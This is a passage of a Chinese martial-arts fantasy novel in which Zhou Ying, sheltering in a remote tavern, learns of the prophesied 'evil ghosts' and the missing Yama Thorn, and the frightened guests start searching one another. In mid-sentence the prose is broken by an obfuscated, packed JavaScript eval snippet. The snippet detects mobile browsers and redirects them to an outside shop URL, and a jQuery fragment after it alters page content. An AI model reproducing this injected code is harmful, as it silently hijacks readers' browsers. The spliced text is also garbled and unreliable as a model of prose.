恶作剧般的几个血红大字，活像张狰狞的鬼脸，在黑黢黢的酒馆中格外吓人，众人每每抬头与之对望，脸便白上一分。
周盈终于明白，这些人群聚在此，分明天黑又不敢出门的原因，他们是忌惮那“恶鬼”。
周盈想了想，又问：“恶鬼是谁？”
瘦黄高个儿只觉得自己被愚弄了，阴阳怪气说：“小子，你几岁？”
周盈：“……”
周盈没想到他突然这样问，想说十八，但想想没几个月就是生日，便说：“十九。”
周盈有问必答，还答得如此实诚，瘦黄高个儿气不打一处来，半天才挤出一句话：“你看老子几岁！把老子当三岁小孩耍！”
周盈对这话更是一头雾水，因为这骂声显然不是针对他方才动手打人。
众人脸色发苦，避不敢答。反而是方才那人又说话了。
那人说：“公子可曾习武？”
众人纷纷望向周盈身后那把剑，那剑奇得很，这样昏暗的室内，居然隐隐有白光浮动，一看就知道是宝贝。
周盈实话实说：“学过几年。”
那人又说：“公子的授业恩师没给公子说过恶鬼？”
周盈道：“未曾。”
又想，师父提起的事他没理由会忘，现在他是真一点记不得，可见的确没说过。
终于，有人忍不住插了嘴：“修行之人居然没听过恶鬼，那你可曾听过十里槛，听过无忌公室？”
周盈对以上问题，皆答“不曾”。
瘦黄高个儿又牛鼻子哄哄地发话了：“你哄谁，连公室也没听过？”
周盈又要答“未曾”，方才一直说话的人带着难掩笑意，有些无奈道：“公子可真是……”
众人皆在心里接了一句“孤陋寡闻”。
周盈听出他没恶意，问：“阁下怎么称呼？”
那人道：“十八学士，叫我学士便可。”
周盈恭敬地称了声“学士”，又细细查问缘由。
十八学士道：“这事要从一百一十九年前说起。”
周盈知道要长篇大论了，酒馆足够宽敞，坐了三十来人还有余位，于是索性在他对面坐下。
一切要从两个预言说起。
公室位于南边的十里槛，世人对之推崇，比之吃斋念佛的和尚瞅见金身大佛不遑多让，无数人抢破头只为进公室当个守门的金刀卫。
不过，就这么简单朴素的愿望也是痴想！
原因不过四字，高不可攀！
一手创立十里槛的初代公室天生异能，凡其预言之事无不成真。这位公室大人在临死之前留下几个骇人听闻的预言，其中有两条一直为世人所遗忘。
或者说不是遗忘，而是自然而然忽略。
因为这两条预言真正应现，距初代公室身亡已经上千年。
第一条预言，提到了四个地方：十里槛、晴岚山市、罗刹海、十二指玉楼。初代公室说他死后，这其余三地必然出现，甚至可与公室分庭抗礼。
显然是警惕后人提防了。
每代公室短则几年，长则两三百年。
预言喧嚣一时，在第三代公室时终于被人抛之脑后。
然而——
七代公室时，晴岚山市出现。
十代公室时，罗刹海又出现。
唯有十二指玉楼，至今不曾露面。当然，所有人都相信总有一天十二指玉楼也会出现在这个世界。
第二条预言，说世上必将出现恶鬼。
初代公室临死前神思疲乏，心情抑郁，这么重要的话居然只说了半截。何为恶鬼，恶鬼又会作出什么惊世骇俗之事居然一字未言明。
但只有一点，恶鬼，一共有九个。
十八学士道：“第十代公室，也就是无忌公室执掌十里槛之时，罗刹海突袭好几个城池。这些城池均不属于公室管辖，当公室接到消息，派人救援时，城中人全部殉难。”
周盈道：“恶鬼做的？”
十八学士斟酌一番，居然摇了摇头：“是玄冥帮。”
“罗刹海有三煞，其中有个赤狐。这人是个大盗，手底下有个玄冥帮，里面的人性情残暴，好以杀人为乐，剽掠城池之时更会屠城。”
周盈听着不禁皱了皱眉，又问：“罗刹海与恶鬼有什么关系？”
这个问题似乎十分很难让人回答，十八学士停顿的时间比第一个问题的足足多了一倍。那瘦黄高个儿忍不住插嘴：“还能是什么关系，蛇鼠一窝。”
一个声音怯怯地说：“可不能这样说。”
说话的是掌柜儿子，他坐得离火光最远，精神好像不是很好，又常常低着头，不甚引入注意。
被这一直默不作声之人忽然一顿反驳，无异在众人面前被扇了巴掌，瘦黄高个儿当即急了：“恶鬼难道是什么好东西？操纵死灵祸世，不过杀人不见血，吃人不带骨头，与玄冥帮有什么分别！”
掌柜儿子性情懦弱，人又病殃殃的，被他高声一吼，又赶紧把头低下。
十八学士这时才缓缓开口：“无忌公室联合天下武者数次围杀却又几次失败。那恶鬼修为智谋都不凡，但能祸行一时，为害甚剧，却是别有依仗。”
周盈不由得竖起耳朵。
十八学士道：“那恶鬼在层层围杀下当场死亡，但过段时间又会再次出现，一次次被杀死，又一次次出现。即使挫骨扬灰，也不灭于世。”
听上去匪夷所思，却又是实实在在的事实，周盈不由一惊：“初代公室所说的恶鬼是指杀不死的人？”
十八学士道：“不是杀不死，而是会不断复生。”
“人生下来有魂有体。”
“活的时候，魂体合一。死了，魂体分离，宽阔大道，各走各的，生前有什么怨什么恨也是人死账消，再大的仇也到此为止。”
“唯有恶鬼一次次复活、纠缠不休。”
“非但如此，不知用了什么手段，甚至召集恶灵进行一次比一次更恐怖的报复。”
他神情严肃道：“从恶鬼出现，短短不到一年，死了五十六万人。”
周盈敏锐道：“最后杀死恶鬼的是阎王刺？”
“是。”十八学士道，“无忌公室以阎王刺重创恶鬼，那之后恶鬼的确没再出现，一百一十九年了，应该是死了。”
周盈心道，恶鬼既然死了，这次怎又出现？这不是前后矛盾？
他想了想，说：“那墙上的字又是谁写的？”
这下轮到众人沉默了，说到底题下字的人又没自曝大名，这样一问倒显得他们缩头缩尾，胆小如鼠，被几个字吓得连门都不敢出。
十八学士问：“公子来之前没遇到或者听到什么怪事？”
周盈心虚地瞅了大胡子一眼。
那大胡子本来安安静静坐在那里，被她瞅得浑身不舒服，冷哼道：“看来你果真稀里糊涂什么都不知道。”
大胡子说：“边境四个村庄，上千个活生生的人，死得连骨头渣子都没了，你没听说？”
周盈居然摇摇头。
大胡子皱眉：“你还真是个冤大头。”
周盈回味过来了：“恶鬼干的？”
瘦黄高个儿说：“不是他还有谁？”
周盈说：“公室不管？”
瘦黄高个儿白眼几乎翻到脑门：“阎王刺都不见了，怎么管？”
周盈问：“那诸位来……”
大胡子说：“阎王刺就在这里。”
“！”
如拨云见日，周盈一下弄明白了。四个村子死了上千号人本就骇人听闻，偏偏阎王刺又在这个节点失踪，稍微懂内情的人自然会往恶鬼身上联想。毕竟在他们眼中，恶鬼可以说是前科累累、劣迹斑斑了。
这些人不管是出于正义还是出于其他不为人知的原因，听说阎王刺会在这里出现，于是壮着胆子上山。没想到，又偏偏被门上几个字困住了手脚。
不过这中间还有个很大的漏洞，周盈问：“你们怎么知道阎王刺在这里？”
众人眼观鼻鼻观心，居然齐齐不作声。只有十八学士道：“掌柜，酒没了，再上些来。”
性命还悬着，此时自然没人有这个心肠喝酒。但掌柜开门做生意，客人叫了自然不能不应，于是应了一声，便摸黑去取酒。
偏偏这一句不知怎的提醒到了什么，瘦黄高个儿脑子一转，冲那病怏怏的掌柜儿子吼道：“小兔崽子，这玩意儿怕不是被你们偷偷藏起来了！”
掌柜病儿子一下被点名
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796335|190652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
质问，结结巴巴道：“没……真没瞧见。”他少与人打交道，连简单两句辩解都说得不利索。把酒馆开在这种偏僻的鬼地方又实在怪得很，在场人人自危，更没人愿意为他说话。
周盈想到方才自己误伤那巴掌，倒有些不好意思，便道：“他要真偷了阎王刺，早早跑了，怎会等到现在？”
这话也不全是维护偏袒，因为背后真要是恶鬼捣鬼，可真会死人。他要真拿了阎王刺，早早就溜了，又何必等到人越来越多，陷入绝境，走也走不得？
瘦黄高个儿最不待见周盈，听他回护之意，无理也要说三分。当即冷笑：“这鸟不拉屎的鬼地方，去和鬼做生意？我看你就是有鬼！”
这时掌柜取了酒过来，见自己的倒霉儿子正惹客人生气，连忙把他撵走，一边为众人斟酒，一边强颜欢笑地说：“客官稍安勿躁，我这儿子身体不好，病糊涂了，您别和他一般见识。来，喝酒，喝酒！”
众人哪有心思喝酒，倒是周盈饿了半日，此时唇干舌燥，抬起还有半瓶的酒壶，自斟了满满一碗酒，脖子一仰，便往喉咙里头灌。
“噗———”
“好辣！好辣！”酒只到喉头，他吞不下，一口喷了出来。周盈咚地放下酒碗，只觉嘴里热开了锅，一张脸憋得通红。有人“啧”了两声，面露不屑。
这么一打岔，众人没再找酒馆掌柜麻烦，一个老头子，一个病秧子，还能翻出什么花？
然而，火光煊赫，红色蜡柱飞快变短，就像与死亡的距离不断也在飞速缩短。门上几个大字宛如一把刀横在喉头，进退不得。终于有人忍不住叫了起来。
“阎王刺一定在这里，肯定有人故意藏了起来！”
立即有人附和：“没错，我奉劝这位仁兄，关乎几十人乃至数百人数千人性命大事，切勿因一己私欲，铸下大错！如果现在拿出来，大家同舟共济一场，我相信绝不会有人计较！”
于是又有接连几声表明绝不追究。
然而，阎王刺若真落入囊中，要拿出来早就拿出来了，又何必等到现在？这一席话可想而知未起丝毫作用，反而把人心勾得更加不安。
瘦黄高个儿终于忍不住，豁地站起：“那人既然不顾我们生死，我们就不用顾忌他的脸面，直接搜，一个一个搜，非把人揪出来不可！”
这句话引得群起响应，众人都觉得是个办法，搜得到搜不到是一回事儿，但绝不能这样束手待毙！
于是，瘦黄高个儿从自己位置上站起来，将自己与周围事物隔开一段距离，抬起手，自证不会藏私，并且愿意接受搜查。
众人也有样学样，如是做了起来。
周盈不知在想什么，低着头没说话，更没同众人一起行动。幸好光线昏暗，大家忙活儿开，一时亦无人注意他这不合群的举动。
瘦黄高个除下外衣，随便上来两个人在众目睽睽之下检查，又前前后后、贴骨贴皮搜了身，确定他没藏私，成为第一个洗脱嫌疑之人。
于是在默许中，他便光明正大去搜别人。
屋里几十人一同忙活显得极为嘈杂拥挤，但真要搜起来动作却很快。不久，连掌柜和掌柜儿子都不得不接受搜身以自证清白。
没想到在掌柜儿子这里出了问题。
在他厚厚的夹袄里搜出了一把黑漆漆的匕首，锋刃仅一指长，甚至没开锋。但这私藏的行为激起了众人的怀疑。
瘦黄高个儿看见那把刀大怒不已：“小兔崽子，棉兜里边藏把刀要戳谁呢！”
他声音又高又尖，掌柜儿胆子小得可怜，这时居然被他吓唬得吭不出一个字！掌柜连忙来给自己的宝贝儿子解围：“荒村野岭，可怜我老头子与这傻儿子作伴，带把刀在身上，只想吓吓人。你看他这病歪歪身子，哪里敢和人动手。”
众人瞪了那病秧子一眼，周盈以为他们又要发难了，没想到只是把刀还回，轻轻把人放过。
周盈当即大疑：“这些人如何确定这不是阎王刺？”
想着，搜查的人已经大摇大摆冲他过来。
十八学士正与他相对而坐，瞧了他一眼，便自觉站起身，脱着外衣，慢悠悠接受检查。
谁知这衣服还没脱下，就听瘦黄高个儿尖嗓子怒呵：“妈的！一屋子人就你一个稀罕！